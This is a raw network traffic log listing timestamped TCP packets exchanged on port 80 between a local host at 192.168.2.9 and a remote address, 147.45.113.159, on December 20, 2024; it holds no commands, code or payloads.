Dec 20, 2024 17:13:37.339168072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.339216948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.339231014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.339270115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.339286089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.339917898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.340055943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.340178967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.340743065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.340893030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.340940952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.341494083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.341505051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.341593981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.342298031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.342649937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.342710018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.343173027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.343185902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.343240976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.343978882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.344587088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.344631910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.344769001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.345030069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.345088959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.345429897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.345442057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.345489979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.346268892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.346492052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.346543074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.347131014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.347281933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.347743988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.347791910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.348076105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.348125935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.348512888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.348936081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.348994970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.349330902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.349342108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.349397898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.350085020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.350867033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.350879908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.350925922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.350950956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.350991964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.390542030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.390855074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.390872002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.390954018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.390985966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.391025066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.391643047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.391918898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.392374992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.392429113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.454586029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.454602957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.454613924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.454622030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.454689026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.455261946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.457418919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.457487106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.457675934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.457814932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.457828999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.457844019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.457859039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.457886934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.457901955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.458237886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.458285093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.458801031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.458813906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.458847046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.459017992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.459378958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.459898949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.459912062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.459950924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.459973097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.460933924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.461123943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.461173058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.461524010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.461535931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.461575031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.462131023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.462516069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.462563038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.463165045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.463692904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.463706970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.463752031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.463764906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.463804960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.464513063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.464795113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.465291977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.465306044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.465339899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.465361118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.466046095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.466423988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.466932058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.466985941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.467055082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.467097998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.468082905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.468348026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.468359947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.468406916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.468530893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.468574047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.469140053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.469274998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.469350100 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.469932079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.470071077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.471010923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.471065044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.471364975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.471415043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.471663952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.471676111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.471724987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.473058939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.473077059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.473090887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.473130941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.473800898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.473844051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.473861933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.474172115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.474761963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.474814892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.475380898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.475433111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.475663900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.476381063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.476393938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.476443052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.476619959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.476669073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.476980925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.531235933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.538896084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.539093971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.539108038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.539165974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.539618969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.539659977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.540024042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.540038109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.540072918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.540699005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.541193008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.541234016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.541507006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.541517973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.541548967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.542268038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.543045998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.543059111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.543091059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.543159962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.543195963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.544125080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.544224024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.544261932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.544600010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.544610977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.544641972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.545396090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.545727968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.545769930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.546204090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.546217918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.546250105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.547013998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.547028065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.547056913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.547820091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.547972918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.548016071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.548546076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.548762083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.548800945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.549329042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.549674034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.549719095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.550121069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.550415039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.550455093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.550869942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.551399946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.551440954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.551605940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.551625013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.551662922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.552432060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.552618980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.552660942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.553185940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.553328037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.553363085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.582530022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.582611084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.582664013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.582847118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.582865953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.582901001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.583652020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.583739996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.583771944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.584327936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.624984980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.646372080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.646517992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.646586895 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.646735907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.646749973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.646790981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.647438049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.647710085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.647754908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.648339033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.648677111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.648719072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.649085999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.649101019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.649136066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.649828911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.650068998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.650108099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.650613070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.650809050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.650846004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.651385069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.651582956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.651618004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.652127981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.652272940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.652307987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.653049946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.653295994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.653335094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.653757095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.654505014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.654519081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.654587030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.654604912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.654639006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.655292988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.655308008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.655347109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.656073093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.656341076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.656384945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.656954050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.657334089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.657383919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.657828093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.658067942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.658124924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.658416986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.658663988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.658711910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.659250021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.659368038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.659413099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.659962893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.660120964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.660166979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.660780907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.660980940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.661042929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.661547899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.661734104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.661777973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.662323952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.662415981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.662460089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.663105965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.663347960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.663399935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.663897038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.664014101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.664056063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.664648056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.664916039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.664964914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.665446043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.665596008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.665651083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.666296005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.666393042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.666474104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.666990995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.667196035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.667244911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.667799950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.668385983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.668438911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.668575048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.668668032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.668711901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.730962038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.731183052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.731197119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.731241941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.731381893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.731419086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.732002974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.732146978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.732191086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.732770920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.732912064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.732954979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.733750105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.733869076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.733913898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.734333992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.734637022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.734673023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.735147953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.735161066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.735193014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.735847950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.736041069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.736082077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.736685038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.736804008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:37.736839056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:37.737349987 CET	80	49711	147.45.113.159	192.168.2.9
